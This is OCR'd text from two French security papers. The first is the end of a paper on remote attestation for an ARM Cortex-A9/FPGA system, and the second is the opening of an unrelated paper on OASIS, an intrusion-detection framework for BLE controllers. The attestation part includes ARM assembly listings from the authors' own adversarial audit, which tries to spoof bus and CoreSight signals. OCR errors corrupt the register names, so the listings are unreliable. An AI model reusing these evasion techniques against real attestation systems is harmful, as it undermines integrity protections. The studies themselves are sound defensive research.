que nous entrons dans une plage d’adresses ou les traces sont
actives. CoreSight est donc configurée de fagon a ce que les adresses
virtuelles permettant I'acces a I'esclave AXI-Lite soient tracées.

3. Le moniteur matériel vérifie la valeur des adresses données par
CoreSight. La MMU est donc configurée de telle sorte a ce que les
adresses virtuelles soient identiques a celles attendues pour cette
plage d’adresses. Les adresses choisies sont suffisamment faibles
pour minimiser la taille des paquets transmis par CoreSight.

4. Tout comme montré par Kovah et al. [11] pour les TPM, CoreSight
n’utilise pas le méme nombre de cycles d’horloge pour transmettre
les mémes données en fonction de son état initial. Les FIFO de ses
composants sont initialisées en suivant toujours le méme protocole,
pour obtenir un résultat déterministe et forcer CoreSight a trans-
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mettre les paquets le plus tot possible (une calibration du matériel
est requise pour réaliser cette étape).

Manquer & un de ces prérequis ne permet pas de reproduire le comporte-
ment de l'algorithme de confiance depuis un logiciel malveillant car les
signaux d’acces se trouvent alors modifiés. Cependant, cela provoque un
refus par le moniteur matériel d’une exécution légitime de I’algorithme de
confiance et de la fonction d’attestation.

6 Audit de sécurité

Afin de vérifier formellement la sécurité de l'attestation a distance,
nous émettons ’hypotheése suivante : nous pouvons écrire notre algo-
rithme de confiance tel qu’il est impossible pour un adversaire de
reproduire les signaux d’accés lus par le moniteur sans I’exécuter.

Pour valider si notre hypotheése est réaliste ou non, nous devons
conduire un audit de celle-ci sur le matériel concret. Dans cette sec-
tion, nous proposons de jouer le réle d'un adversaire et d’attaquer le
systeme. L’objectif est de tenter de reproduire les mémes signaux depuis
un logiciel malveillant.

Nous considérons un adversaire possédant de haut privileges, une
connaissance de 'architecture et un clone du systeme physique. Nous
observons les signaux internes a ’aide d’un analyseur logique. Pour chaque
attaque, notre logiciel malveillant est placé dans la DDR et est développé
en assembleur ARM afin d’étre au plus prés du matériel.

6.1 Acceés sur le bus AXI

La premiéere étape de notre audit consiste a trouver le moyen le plus op-
timisé pour reproduire les acces en lecture sur le bus AXI. Nous effectuons
donc une simple lecture dans ’esclave AXI-Lite comme si son contenu
était de la donnée. Notre objectif est d’étre le plus rapide possible pour
tenter d’obtenir les mémes délais qu'une exécution légitime de ’algorithme
de confiance. Nous ne pouvons malheureusement pas nous appuyer sur les
mémoires cache pour gagner du temps. En effet, si le contenu de 'esclave
AXI-Lite est déja en cache, effectuer une lecture n’a aucun effet sur le
bus AXI. Un prérequis pour jouer cette attaque est donc de désactiver les
mémoires cache.

L’instruction LDM permet d’effectuer une lecture de donnée a ’adresse
définie dans un registre et incrémenter cette adresse [5]. Réaliser une
lecture de 8 mots dans l’esclave AXI-Lite peut donc se faire en chargeant
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son adresse virtuelle dans un registre et en appelant cette instruction
plusieurs fois. Le code représenté sur le listing 2 montre une attaque
tentant de reproduire les acces sur le bus AXI en utilisant un minimum
de registres. La présence du ! apres le nom du registre contenant ’adresse
de lecture provoque un incrément égal au nombre d’octets lus [5].

mov r0, #0x00200000 // adresse virtuelle

ldm rO0!, {ri1} // r0O = r0 + 4 ()
ldm r0!, {ri1}
ldm r0!', {ri1}
ldm r0!', {ri1}

ldm rO!, {ri1}
ldm r0!, {ri}
ldm rO!, {ri1}
ldm r0!, {r1}

Listing 2. Reproduction des acces sur le bus AXI: 8 lectures de 1 mot

Dans cet exemple, le registre r1 est utilisé pour stocker le contenu de la
donnée lue dans l'esclave AXI-Lite. L’avantage d’une telle approche pour
un adversaire est qu’elle ne nécessite I'utilisation que de deux registres (ici
r0 et rl) pour réaliser une lecture de 8 mots. L’inconvénient est qu’elle
nécessite 'exécution de 8 instructions (une fois adresse virtuelle chargée).
Or, comme vu précédemment, un acces a ’esclave AXI-Lite synchronisé
sur ’horloge du FPGA ralentit ’exécution du microprocesseur. Ainsi,
la présence de plusieurs instructions introduit un délai de 15 périodes
d’horloge entre chaque lecture de 1 mot. Le chronogramme représenté
sur la figure 7 montre les signaux d’acces sur le bus AXI. Le signal CLK
représente ’horloge du FPGA, il est commun aux deux représentations
des signaux ARADDR et ARREADY . La premiere représentation donne
les signaux d’acces lors d’'un fetch tandis que la seconde représentation
donne les signaux d’acces lors d’une lecture par paquets de 1 mot.

CLK Imnmuumnnuumnua A AR AR AR AR AR UA,

ARADDR (fetch) {0x00)0x04fox08foxocfoxofoxtafox ) 0x1C Jox20[0x24f0x28[0x2c0x30[0x3 4 038 0x3C Yox20Jox24}
ARREADY (fetch) . N NN nnn A nnnnnn__ NNy

ARADDR (attaque) q{ 0x00 X 0x04 ) 0x08 ) 0x0C X 0x10 Y oxiz )
ARREADY (attaque) n n n n n r

Fig. 7. Acces sur le bus AXI : fetch et lecture par paquets de 1 mot

Accéder a la donnée contenue dans 'esclave AXI-Lite par paquets de 1
mot ne permet pas de reproduire les mémes signaux qu’un fetch sur le bus
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AXI. Cependant, I'instruction LDM permet également d’effectuer plusieurs
lectures de donnée en une seule fois si une liste de registres de destination
lui est fournie [5]. Ainsi, nous pouvons modifier le code pour réaliser une
lecture par paquets de 8 mots en stipulant 8 registres de destination.

La présence de branchements indirects, dans I'algorithme de confiance,
force une exécution légitime a accéder deux fois au méme paquet de 8
mots. Pour reproduire ce comportement, nous pouvons également jouer
sur l'utilisation du ! pour ne pas incrémenter ’adresse de lecture lors du
premier acces. Le code représenté sur le listing 3 montre une attaque qui
reproduit les acces sur le bus AXI lors d’un fetch.

mov r0, #0x00200000 // adresse virtuelle
ldm r0!, {r1, r2, r3, r4, r5, r6, r7, r8}
ldm r0, A{ri, r2, r3, r4, r5, r6, r7, r8} // pas de ! = 2 lectures
ldm r0!', {r1, r2, r3, r4, r5, r6, r7, r8}

Listing 3. Reproduction des acces sur le bus AXI: 1 lecture de 8 mots

Dans cet exemple, la premiere exécution de l'instruction LDM effectue
une lecture de 8 mots dans 'esclave AXI-Lite a I’offset 0x00. Les deux
autres exécutions effectuent deux fois la méme lecture a 1’offset 0x20.
Comme la troisieme instruction LDM possede un !, I'acces suivant sera
réalisé a l'offset 0x40. Notons qu’il est impératif d’avoir désactivé les
mémoires cache au préalable sans quoi la deuxiéme lecture a 'offset 0x20
n’a pas lieu.

Avec cette approche, il est possible pour un adversaire de reproduire
les mémes signaux qu’un fetch dans l'esclave AXI-Lite sans exécuter le
code qui s’y trouve. Le nombre de registres a utiliser est cependant plus
conséquent. Il est nécessaire d’utiliser 9 registres : 1 registre pour stocker
ladresse de lecture (r0) et 8 registres pour stocker les 8 mots lus dans le
paquet.

6.2 Signaux de CoreSight

Pour compléter notre attaque, nous devons également reproduire les
signaux sur l'interface de debug CoreSight durant ’exécution de notre
logiciel malveillant. Dans un premier temps, nous nous concentrons sur
la problématique de ’envoi de traces par CoreSight avec des valeurs
correctes (identiques a celles de I’algorithme de confiance) pour les adresses
de destination. Notre objectif est donc d’ajouter des instructions qui
provoquent un branchement indirect et forcer CoreSight & envoyer une
trace au méme instant que lors d’un fetch. Un prérequis pour jouer cette
attaque est donc de configurer CoreSight pour que les adresses virtuelles
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de notre logiciel malveillant soient tracées. Un autre prérequis est de
configurer la MMU pour que les adresses virtuelles permettant ’acces a
ce méme logiciel malveillant soient identiques a celles attendues par le
moniteur matériel. L’adresse virtuelle pour accéder a l'esclave AXI-Lite
doit donc également étre modifiée pour étre différente.

Exactement comme pour l'algorithme de confiance, nous ajoutons dans
notre logiciel malveillant deux instructions permettant d’introduire un
branchement indirect. La premiére instruction permet de calculer ’adresse
de destination tandis que la seconde effectue le branchement. L’adresse de
destination est choisie afin de conserver le méme offset que I’algorithme de
confiance. Ainsi, nous ajoutons des instructions inutiles que le branchement
indirect nous permet de passer. Le code représenté sur le listing 4 montre
une attaque tentant de reproduire les signaux de CoreSight.

mov r0, #0x40000000 // nouvelle adresse virtuelle (AXI-Lite)
ldm r0O!, {rt, r2, r3, r4, r5, r6, r7, r8}

add r9, pc, #16 // pc = pc + 4; r9 = pc + 4 + 16;
mov pc, r9 // branchement indirect

nop

nop

nop

nop

// <- destination (adresse virtuelle = 0x00200020)
ldm r0, {r1, r2, r3, r4, r5, r6, r7, r8} // pas de ! = 2 lectures
ldm r0!, {ri1, r2, r3, r4, r5, r6, r7, r8}

add r9, pc, #16 // pc = pc + 4; r9 = pc + 4 + 16;
mov pc, r9 // branchement indirect

//

Listing 4. Reproduction des signaux de CoreSight

Dans cet exemple, le registre r9 est utilisé pour stocker ’adresse
de destination du branchement indirect. L’instruction add placée apres
les acces sur le bus AXI permet de calculer cette adresse. L’avantage
d’une telle approche est qu’elle ne nécessite 'utilisation que d’un seul
registre (ici r9) pour calculer adresse de destination, et ce pour tous les
branchements indirects nécessaires. L’inconvénient est qu’elle nécessite
I’ajout d’une instruction add, en plus du branchement indirect, entre deux
lectures sur le bus AXI. Or, ’ajout d’instructions entre deux lectures sur
le bus AXI introduit un délai entre les acces. Le chronogramme représenté
sur la figure 8 montre les signaux observés par le moniteur. La premiere
représentation donne les signaux d’acces lors d’un fetch tandis que la
seconde représentation donne les signaux d’acces lors de notre attaque : a
savoir, une lecture, un calcul de ’adresse de destination et un branchement
indirect.
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CLK

ARADDR (fetch) (om0l oxic —Jopioaioaaoaioaloaaoatoac Yoo
ARREADY (fetch) 0 n___ nn-s
TRACE_CTL (fetch) \ I Y
(fetch)

(fetch)

TRACE_DATA (fetch 0x01 \ J00C0000000C 0000 0x01 }
DECODED_ADDR (fetch 0x00000000 X 0x00200020 }

ARADDR
ARREADY (attaque

(attaque)
( )
TRACE_CTL (attaque)
( )
( )

TRACE_DATA
DECODED_ADDR

attaque

0x01 0O Xllllllli 000 0x01 }

0x00000000 X 000200020 }

attaque

Fig. 8. Branchement indirect, calcul de la destination entre les lectures

L’ajout de notre branchement indirect dans le logiciel malveillant
permet d’obtenir la bonne valeur d’adresse décodée. Cependant, avoir le
calcul de 'adresse de destination placé entre deux lectures sur le bus AXI
introduit un délai. L’instant de la deuxiéme lecture, entourée en rouge
sur les chronogrammes de ARADDR et ARREADY | est en retard de 3
périodes d’horloge par rapport au deuxiéme fetch, entouré en bleu sur les
chronogrammes des mémes signaux.

La transmission de données par CoreSight n’est, quand a elle, en
retard que d’une seule période d’horloge. Cela s’explique par le fait que
CoreSight procede a une collecte des informations de debug sans ralentir
le microprocesseur. En réalité, la transmission de la trace s’effectue au
méme instant que lors d’un fetch : le signal TRACE_CTL est baissé au
méme front d’horloge. La seule différence entre ces deux transmissions est
que CoreSight transmet une donnée différente en fonction de I’état de sa
FIFO lors de ’émission du paquet. Avoir un logiciel malveillant optimisé
peut potentiellement permettre d’obtenir la méme donnée transmise par
CoreSight.

Notons que cette affirmation est seulement vraie dans le cas de la
premiere lecture car, dans le cas ou les acces sur le bus AXI different de
lors d’un fetch, les FIFO de CoreSight ne seront pas dans le méme état lors
du second branchement indirect. En effet, le délai causé par la premiere
lecture se répercute sur linstant d’exécution du second branchement
indirect.

6.3 Synchronisation des lectures et de CoreSight

Comme montré précédemment, I’ajout de calculs entre les lectures dans
I'esclave AXI-Lite introduit un délai. Désormais, nous nous concentrons
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donc sur la problématique de la synchronisation entre les acces sur le bus
AXIT et l’envoi de traces par CoreSight.

Pour cela, nous retirons le calcul de ’adresse de destination d’entre les
lectures sur le bus AXI. Différents registres sont donc pré-chargés avant
I’exécution du logiciel malveillant et seules les instructions de branchement
sont conservées. Chaque branchement indirect utilise donc un registre
différent pour obtenir 'adresse de destination. Le code représenté sur le
listing 5 représente cette attaque.

// destinations des branchements dans r9, r10, ri1l et ri2:
movw r9, #0x0020

movt r9, #0x0020 // r9 = 0x00200020

add r10, r9, #0x20 // r10 = 0x00200040

add ri11, ri1i0, #0x20 // ril1 = 0x00200060

add ri12, ri11, #0x20 // r12 = 0x00200080

mov r0, #0x40000000 // adresse virtuelle (AXI-Lite)
ldm r0!, {r1, r2, r3, r4, r5, r6, r7, r8}

mov pc, r9 // branchement indirect

nop

nop

nop

nop

nop

// <- destination (adresse virtuelle = 0x00200020)

ldm r0, A{ri, r2, r3, r4, r5, r6, r7, r8} // pas de ! = 2 lectures
ldm rO!, {r1, r2, r3, r4, r5, r6, r7, r8}

mov pc, rl0 // branchement indirect

//

Listing 5. Pré-chargement des adresses de destination

Avec cette approche, les signaux d’acces sur le bus AXI ne sont pas
ralentis. Egalement, le code situé apreés la premiere lecture se trouve
optimisé. Certaines de ses exécutions permettent de reproduire exactement
les signaux d’acces sur le bus AXI et sur les données transmises par
CoreSight. L’inconvénient, néanmoins, est que cette approche ne permet
pas de pré-charger les adresses de destination a l’'infini : le nombre de
registres du microprocesseur constitue une limite physique.

Cette attaque nous permet donc de reproduire les mémes signaux
d’acces sans exécuter 'algorithme de confiance. Toutefois, une limitation
est que cette reproduction n’est valable que pour les six premiers bran-
chements indirects. En effet, le microprocesseur ARM que nous utilisons
possede 13 registres généraux et 3 registres spéciaux, dont le registre pc
qui contient le pointeur d’instruction [5]. Un total de 15 registres est
donc accessible a 'adversaire : 9 registres sont utilisés pour reproduire les
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signaux d’acces sur le bus AXI et 6 registres peuvent étre utilisés pour
pré-charger les adresses de destination des branchements indirects.

6.4 Bilan

Nous considérons notre hypothese valide si I'algorithme de confiance,
présent dans 'esclave AXI-Lite, contient 7 branchements indirects ou plus.
En effet, il devient alors nécessaire pour un adversaire de calculer une
nouvelle adresse de destination entre deux acces sur le bus AXI, ce qui
introduit un délai qui est détecté par le moniteur. Notre algorithme de
confiance est donc impacté en ce sens (ainsi que les signaux attendus
par le moniteur). Nous considérons donc que nous pouvons accorder un
fort degré de confiance en notre hypotheése : nous pouvons écrire notre
algorithme de confiance tel qu’il est impossible pour un adversaire de
reproduire les signaux d’acces lus par le moniteur sans I'exécuter.

7 Résultats et futurs travaux

Notre architecture co-concue logicielle et matérielle est implémentée
sur une carte de développement Digilent Cora Z7-07S. Le SoC est un
Zyng-7000 XC7Z007S comportant un microprocesseur ARM Cortex-A9
mono-coeur cadencé & 667TMHz et un FPGA Xilinx Artix-7.

L’environnement permettant de reproduire les attaques précédem-
ment listées est disponible publiquement [8]. Sont inclus également les
descriptions matérielles du circuit implémenté dans le FPGA (esclave
AXI-Lite, décompresseur et décodeur de traces CoreSight et analyseur
logique embarqué) ainsi que le code de ’algorithme de confiance. Le circuit
est synthétisé avec Xilinx Vivado v2019.2, le logiciel est compilé avec gcc
et la carte est programmeée avec openOCD.

Une vérification formelle du moniteur matériel (qui ne fait pas partie
de l'objet de cette publication) démontre que la fonction d’attestation
ne peut pas étre exécutée si les signaux observés ne sont pas exactement
reproduits. Ainsi, compte-tenu de notre hypothese, nous avons montré que
notre architecture co-congue garantit la configuration de ’environnement
d’exécution de la fonction d’attestation.

Cependant, nous avons seulement validé notre hypotheése en réalisant
différentes attaques et en montrant que nous ne parvenons pas a l'infirmer.
Nous n’avons donc pas prouvé formellement qu’il était impossible pour un
adversaire de reproduire les signaux sans exécuter notre ’algorithme de
confiance. De futurs travaux peuvent donc consister a étayer nos modeles
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formels de fagon a pouvoir formellement prouver ou réfuter notre hypothese.
Cette approche se limite donc toujours aux freins de ’absence de modele
et de 'aspect propriétaire de certain composants impliqués. Prouver notre
hypotheése nécessite un modele du microprocesseur ARM Cortex-A9 et de
ses périphériques, sur lequel la preuve peut étre réalisée (ce qui semble
difficile compte-tenu de I’aspect propriétaire de cette architecture). Réfuter
notre hypotheése nécessite de fournir un contre-exemple, en exécutant un
logiciel malveillant qui reproduit les signaux d’acces.

Notons qu’il est également possible de faire évoluer ’architecture de
I’algorithme de confiance. S’il est possible de reproduire les signaux d’acces
sans ’exécuter, il est nécessaire de vérifier que cela n’est pas dii & un
défaut dans son implémentation plutét qu’une invalidité de ’hypothese.
L’hypothese est que nous pouvons écrire notre algorithme de confiance
tel qu’il est impossible pour un adversaire de reproduire les signaux. Elle
n’est pas invalide si une évolution de ’algorithme de confiance empéche
de nouveau la reproduction des signaux par un adversaire.

Egalement, nous pouvons étendre notre solution afin de permettre a
d’autres applications complexes d’en tirer profit. En effet, notre solution
modifie les configurations de CoreSight et de la MMU avant I’exécution
de la fonction d’attestation. Une sauvegarde et une restauration de ’envi-
ronnement doivent donc étre réalisées, respectivement en amont et en aval
de Dattestation a distance. A ces fins, le développement et la publication
d’une bibliotheque logicielle sont requis.

8 Conclusion

L’attestation a distance vérifiée formellement a jusqu’a présent été réali-
sée sur des microcontroleurs simples, tels que la famille des MSP430 [10,14].
Nous avons précédemment proposé, en nous appuyant sur les architectures
des SoC modernes, d’étendre son domaine d’application aux micropro-
cesseurs propriétaires pris sur étageres, tel que le ARM Cortex-A9. Nous
avons dans ces travaux préliminaires, pu prouver la sécurité de 'attestation
a distance sur microprocesseur, malheureusement au prix de suppositions
concernant I’état du microprocesseur avant I’exécution du protocole d’at-
testation [7].

Dans cet article, nous introduisons une extension d’architecture co-
congue de vérification de l'intégrité d’environnement pour pallier a ces
suppositions. Cela permet de garantir un environnement d’exécution
correct pour la fonction d’attestation. A la maniére des précédents travaux
de ce domaine de recherche, notre solution s’appuie a la fois sur du
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support matériel [10,14] et sur une mesure précise du comportement
du microprocesseur (mesure des cycles d’horloge et des signaux associés
a lexécution de certaines instructions) lors de I'exécution d’un logiciel
critique de configuration de ’environnement [11,15].

En ’absence de modele pour le coeur du microprocesseur et ses périphé-
riques, nous avons dii émettre une hypothése de non-reproductibilité des
signaux d’acces lors de la configuration de notre environnement. Afin d’ar-
gumenter sérieusement en faveur de cette hypotheése, nous avons conduit
un audit technique sur notre systeme et avons montré que, sous réserve de
contraintes liées a ’architecture du microprocesseur, nous sommes dans
I'incapacité d’infirmer notre hypothese. Compte tenu de cette hypothese,
notre architecture garantit alors une racine de confiance statique pour
I’attestation a distance sur microprocesseur.

Dans le cas ou de futures attaques, dont nous n’avons pas connaissance
lors de I’écriture de cet article, réfutent notre hypothese, notre solution
co-congue devra étre adaptée. Enfin, afin de formellement compléter ces
travaux, dans ’éventualité ot un modele du microprocesseur et de ses
périphériques devient disponible, notre hypothése pourra prendre alors la
forme une obligation de preuve pour la sécurité globale de 'attestation a
distance sur microprocesseur.
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Résumé. Les technologies de communication sans fil, telles que Zigbee ou
Bluetooth Low Energy (BLE), sont aujourd’hui massivement utilisées par
les objets connectés. Si ces nouveaux protocoles sont congus pour résoudre
des contraintes fonctionnelles (faible consommation d’énergie, mobilité,
communications pair a pair...), ils souffrent cependant de nombreux
problémes de sécurité. De nombreux défis techniques et scientifiques
restent a résoudre afin de détecter efficacement les différentes attaques
récemment publiées. Dans cet article, nous nous concentrons sur la sécurité
de 'un des protocoles 10T les plus couramment utilisés, BLE, et plus
particulierement sur la détection des attaques ciblant les couches basses
de ce protocole. Nous proposons une approche consistant a intégrer un
systeme de détection d’intrusion dans les contréleurs BLE. Cette approche
permet de résoudre de multiples défis techniques liés a la conception du
protocole et peut étre facilement déployée sur de nombreux équipements
existants supportant le protocole. Nous décrivons plusieurs heuristiques de
détection ainsi intégrées dans des controleurs BLE, permettant de détecter
avec succes 6 attaques majeures ciblant ce protocole. Nous présentons
également OASIS, un framework générique permettant d’automatiser
I'instrumentation des contréleurs BLE, pour y inclure ces heuristiques
de détection. Nous décrivons son architecture modulaire, comment nous
I’avons implémenté avec succes sur cinq puces BLE largement utilisées
intégrant des piles protocolaires hétérogenes, et comment nous ’avons
utilisée pour détecter 6 attaques bas niveau critiques.

1 Introduction

De nombreux protocoles de communication sans fil [1, 7] sont au-
jourd’hui utilisés pour assurer la connectivité des objets connectés. Ces
protocoles ont été congus pour réduire la consommation énergétique, la
complexité des piles protocolaires et pour faciliter les communications
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pair & pair, de fagon a s’adapter aux ressources limitées de ces objets
connectés. L’un des protocoles les plus utilisés aujourd’hui est le BLE,
une variante du protocole Bluetooth intégré nativement dans un grand
nombre d’équipements, allant des smartphones a des objets connectés
aux ressources tres limitées. Au cours des dernieres années, ce protocole
a été largement utilisé dans de nombreux cas d’application, en raison de
son déploiement massif, de sa faible complexité et de sa polyvalence. En
conséquence, la sécurité de ce protocole est devenue une préoccupation
majeure. De multiples vulnérabilités critiques [4-6,13,17] ont été décou-
vertes récemment, illustrant 'intérét croissant pour cette technologie et sa
sécurité. Certaines de ces vulnérabilités sont liées a I'implémentation de
la pile protocolaire et peuvent potentiellement étre corrigées par les fabri-
cants [5,6,17], tandis que d’autres [4,9,11,13,19] sont liées a la conception
du protocole lui-méme et ne peuvent pas étre facilement corrigées sans
modifier la spécification elle méme.

Dans ce contexte, il devient fondamental de développer des mesures
défensives, en particulier des systeémes de détection d’intrusion (IDS),
permettant de détecter ce type d’attaques sans fil. Cependant, la concep-
tion d’un tel systeme reste un défi majeur. En effet, la conception du
protocole BLE introduit de nombreuses contraintes techniques. Premie-
rement, le protocole est difficilement analysable par une sonde externe,
principalement parce qu’il utilise un algorithme de saut de canal lors
des connexions. Une connexion BLE saute régulierement d’un canal a
I'autre et peut utiliser n’importe lequel des 40 canaux de la bande ISM
2,4 GHz, forcant un IDS basé sur I'analyse du trafic réseau a surveiller en
permanence une large bande de fréquences afin d’analyser exhaustivement
les communications, augmentant ainsi le cotit et la complexité d’un tel
systeme. De plus, la nature sans fil du protocole introduit des problemes
liés a la différence potentielle de perception entre la sonde externe et les
nceuds eux-mémes. Contrairement a un protocole filaire, de nombreux
facteurs peuvent avoir un impact sur 'exhaustivité et la représentativité
du trafic surveillé, comme la position de la sonde dans I’environnement ou
sa sensibilité. Le protocole étant également principalement utilisé pour
établir des communications pair a pair, il n’est pas possible de surveiller
facilement le trafic depuis un nceud central. Enfin, de nombreux équipe-
ments BLE sont dédiés a un usage mobile, générant un environnement
dynamique dans lequel il est difficile d’identifier si la présence d’un nceud
donné est légitime ou non.

Dans ce contexte, une approche complémentaire pertinente consiste a
intégrer un IDS au sein des équipements directement, de facon a surveiller
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le trafic localement afin de détecter des attaques. Cependant, la conception
d’un tel systeme est difficile pour différentes raisons. Tout d’abord, une
pile protocolaire BLE est généralement divisée en deux parties : la partie
Hate (ou Host), qui gere les couches applicatives du protocole, et la partie
controleur (ou Controller), qui est en charge des couches inférieures. Dans
la plupart des cas, ces deux composants communiquent entre eux a 'aide
d’une interface standardisée appelée Host Controller Interface (HCI). Des
études précédentes [3] ont déja essayé d’instrumenter la partie Hote de
la pile afin de détecter des attaques. Cette approche est intéressante car
Iinstrumentation de la partie Héte est généralement simple. Cependant,
cette stratégie souffre de différentes limitations. Tout d’abord, la majeure
partie du trafic de bas niveau est cachée a 1’Hdte par conception. Cette
situation est problématique car de nombreuses attaques existantes [11,13]
visent les couches inférieures de la pile et ne peuvent pas étre détectées
efficacement par un tel systeme. Un autre probleme est lié a I’existence
d’implémentations non standard de la pile, qui peuvent exposer une API
propriétaire pour interagir avec le controleur au lieu de l'interface HCI :
cette situation étant courante dans de nombreux équipements IoT, elle ne
peut étre ignorée lors de la conception d’un tel systeme.

En conséquence, instrumenter la partie contréleur afin d’y insérer des
mécanismes de sécurité constitue probablement le moyen le plus efficace
pour détecter les attaques BLE. En effet, la partie contréleur a acces au tra-
fic bas niveau, permettant ainsi d’identifier les attaques ciblant les couches
basses tout en permettant également la détection des attaques ciblant les
couches applicatives. Cette stratégie permet I'extraction et 'exploitation
de nombreuses caractéristiques pertinentes accessibles par le contréleur,
telles que le RSSI ou la validité du CRC, et est particulierement adaptée
pour mettre en place des mécanismes défensifs bas niveau permettant de
détecter ou de prévenir une attaque. Cependant, l'instrumentation de la
partie controleur n’est pas une tache triviale. Premierement, les implémen-
tations des contréleur sont généralement propriétaires et non documentées :
la seule fagon de comprendre et d’instrumenter leurs composants internes
est d’effectuer manuellement la rétro-ingénierie des firmwares correspon-
dants, ce qui est un processus long, délicat et sujet aux erreurs. De plus, ces
controleur sont implémentés sur de nombreuses puces différentes, basées
sur des architectures hétérogenes. Leur instrumentation est également
difficile, les fabricants ne proposant généralement aucun moyen simple de
les patcher pour y inclure du code défensif. Enfin, les couches basses d’une
pile protocolaire sont généralement soumises a de fortes contraintes tem-
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porelles, ce qui se traduit souvent par un code optimisé, potentiellement
difficile & modifier et a améliorer.

Malgré ces difficultés, nous démontrons dans cet article la pertinence
de cette approche, et proposons une suite d’outils logiciels facilitant sa
mise en place. Les contributions de cet article sont les suivantes :

— Nous proposons une approche innovante pour la conception d’un
systeme de détection d’attaques BLE, consistant a intégrer des
heuristiques de détection d’intrusion directement au sein des contro6-
leurs. Celle-ci permet l'identification de caractéristiques pertinentes
accessibles par les controleurs, qui peuvent étre utilisées pour ca-
ractériser 'occurrence d’attaques.

— Nous démontrons la pertinence de notre approche en la testant
sur 6 attaques majeures, ciblant les couches basses du protocole.
Nous avons ainsi congu 6 modules permettant la détection de ces
attaques et les avons intégrés au sein de différents contréleurs BLE,
nous permettant de détecter efficacement ces attaques avec de tres
bons taux de faux positifs et faux négatifs.

— Nous présentons un framework modulaire et générique, baptisé
OASIS, dédié au développement de ces modules de détection d’in-
trusion. Nous 'avons validé sur différentes cartes de développement
intégrant des controleurs d’architectures différentes, mais aussi
des équipements commerciaux tels que smartphones ou des objets
connectés.

— Nous avons réalisé la rétro-ingénierie de trois piles protocolaires
trés répandues, et nous avons développé un ensemble d’outils de
rétro-ingénierie destiné a faciliter leur analyse. Ceux ci permettent
d’identifier automatiquement les principales fonctions et zones
mémoires nécessaires a l'instrumentation des controleurs et a 1'im-
plémentation des modules de détection.

Le plan de l'article est le suivant. La section 2 présente les travaux
connexes a notre approche. La section 3 décrit brievement le protocole
BLE du point de vue de la sécurité, présente les six principales attaques
de bas niveau sur lesquelles nous nous concentrons ainsi que les stratégies
de détection correspondantes, et justifie le développement d’un framework
intégré pour détecter les attaques de bas niveau. La section 4 décrit la
conception globale du framework OASIS. La section 5 présente deux
types d’architectures logicielles de contréleurs que nous avons étudiés et
instrumentés pour y intégrer les heuristiques de détection. La section 6
décrit les expérimentations que nous avons réalisées pour montrer la
pertinence de notre framework et nos modules de détection dans un
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environnement réaliste. Enfin, la section 7 discute des limites de notre
approche, tandis que la section 8 conclut 'article et propose de futures
pistes de recherche.

2 Etat de P’art

Ces derniéres années, plusieurs travaux ont contribué a I’amélioration
de la sécurité du BLE. L’un des principaux défis techniques a résoudre
pour surveiller efficacement les communications BLE est 1ié a 'utilisation
d’algorithmes de saut de canal, compliquant considérablement 1’écoute
passive du protocole. Dans [26], M. Ryan a souligné les problématiques
liés & ces algorithmes et a développé des heuristiques permettant d’inférer
les parametres de connexion en collectant et analysant des événements
spécifiques. Cette approche a permis le développement d’un sniffer adapté
a la couche liaison, [’Ubertooth One, capable de déterminer les parametres
d’une connexion spécifique et de se synchroniser avec 'algorithme de saut
de canal pour écouter passivement la communication. Cet algorithme a par
la suite été amélioré par D. Cauquil dans [10] pour prendre en compte le
mécanisme de channel map, destiné a permettre le blacklisting de certains
canaux. Son algorithme ayant été implémenté sur une carte de développe-
ment spécifique, le BBC' Micro :Bit, une implémentation similaire a été
adaptée a I’Ubertooth One par S. Sarkar et al. [2]. Dans [12], D. Cauquil a
également développé une approche permettant de synchroniser un sniffer
avec le deuxieme algorithme de saut de canal, récemment introduit dans
la spécification et basé sur un générateur de nombres pseudo-aléatoires.
Dans [25], S. Qasim Khan a présenté Sniffle, une nouvelle implémentation
de sniffer permettant de faciliter la synchronisation avec une connexion
en suivant I’équipement ciblé pendant sa phase d’advertising.

Bien que ces travaux n’aient pas nécessairement été réalisés dans
une perspective défensive, ils sont cependant pertinents dans le cadre de
la détection d’intrusion BLE, la plupart des travaux défensifs existants
s’appuyant sur des sniffers pour surveiller le trafic BLE. Malheureusement,
ces approches passives souffrent de plusieurs limitations sérieuses qui
ont un impact conséquent sur ’exhaustivité et la représentativité des
communications surveillées. Premierement, la plupart de ces sniffers ne
peuvent surveiller qu’une seule connexion a la fois. G. del Arroyo et al. ont
tenté dans [18] de répondre & cette problématique en implémentant sur
I’ Ubertooth One un algorithme opportuniste basé sur un ordonnanceur et
permettant de surveiller plusieurs connexions simultanément. Bien que ce
travail semble prometteur, il est encore limité par le matériel utilisé et peut
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manquer certains paquets en fonction de I’environnement. Deuxiémement,
la plupart des implémentations existantes sont instables, en partie a
cause de l'utilisation de diverses heuristiques, qui ne sont pas adaptées a
certains équipements (par exemple, certains smartphones mettent a jour
fréquemment le channel map au cours d’une méme connexion, compliquant
considérablement l'inférence de ce parametre par un sniffer). A notre
connaissance, surveiller de maniere exhaustive le trafic BLE au niveau
de la couche liaison a partir d’une sonde externe, notamment en mode
connecté, reste aujourd’hui un défi conséquent.

Cette situation a un impact important sur les travaux de recherche
visant a développer des systemes de détection d’intrusion pour ce pro-
tocole : la plupart d’entre eux étant basés sur les sniffers mentionnés
précédemment, ils s’appuient généralement sur la seule surveillance des
advertisements, plus simple & surveiller mais limitant leur portée a des
attaques d’usurpation d’identité ciblant le mode advertising. Dans [30], J.
Wu et al. ont présenté BlueShield, une approche permettant de détecter les
attaques d’usurpation d’identité en profilant les équipements surveillés a
I’aide de multiples caractéristiques extraites des paquets d’advertisements.
Dans [29], Y. Sung et al. ont exploré I'utilisation de I'intensité du signal requ
(RSSI) pour détecter les intrus. Dans [31], M. Yaseen et al. ont présenté
MARC, un framework visant a détecter les attaques Man-in-the-Middle,
exploitant quatre fonctionnalités déduites des paquets d’advertisements
telles que l'intervalle d’advertising ou les niveaux RSSI.

D’autres travaux de recherche se sont également consacrés a ’analyse
du trafic en mode connecté. Dans [24], A. Newaz et al. combinent une
approche basée sur les n-grammes avec diverses techniques d’apprentis-
sage automatique pour effectuer la détection d’intrusion par l'analyse
de modeles de flux de trafic anormaux sur les dispositifs médicaux per-
sonnels. De méme, dans [22], A. Lahmadi et al. explorent 'utilisation
de techniques d’apprentissage automatique pour identifier les attaques
Man-in-the-Middle en créant un modele de comportements 1égitimes basé
sur des caractéristiques telles que le RSSI, les numéros de canaux ou
la distance. Bien que ces travaux fournissent des résultats intéressants
concernant ’analyse du trafic, ils se concentrent sur une détection hors
